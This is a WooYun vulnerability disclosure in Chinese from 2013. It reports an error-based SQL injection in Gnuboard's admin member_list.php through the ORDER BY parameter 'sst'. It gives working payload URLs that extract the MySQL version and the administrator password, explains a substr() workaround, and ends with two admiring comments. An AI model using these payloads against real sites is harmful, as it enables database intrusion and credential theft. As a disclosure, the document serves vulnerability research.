Gnuboard Injection Vulnerabilities

漏洞概要

缺陷编号:WooYun-2013-017698

漏洞标题:Gnuboard Injection Vulnerabilities

相关厂商:Gnuboard

漏洞作者:路人甲

提交时间:2013-01-23 10:55

公开时间:2013-01-23 10:55

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2013-01-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-01-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

kr比较流行的bbs。只是后台注入思密达~

详细说明:

此注入属于order by后的注入。可通过order by a,(select语句)执行。此时,括号内的select语句仅当做一个子查询进行使用,当语句语法正确时返回正常页面,无法获取数据。此时我们可以使用mysql报错注入来获取数据。如:http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)获取管理员密码:http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select mb_password from g4_member limit 0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)当执行以上语句的时候,错误提示为:1242 : Subquery returns more than 1 row原因:此语句默认读取长度为65位,而mb_password为varchar类型,长度为255。此时我们使用substr()函数来限制读取长度。即:substr(mb_password,1,55)即可获取管理密码。

漏洞证明:

修复方案:

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

评价

  1. 2010-01-01 00:00 Black Angel 白帽子 | Rank:115 漏洞数:22)

    牛逼的路人甲.

  2. 2010-01-01 00:00 混世魔王 白帽子 | Rank:26 漏洞数:5)

    牛X,如果没记错,gnuboard 的程序安全性很高。后台拿SHELL。还是个很麻烦的事。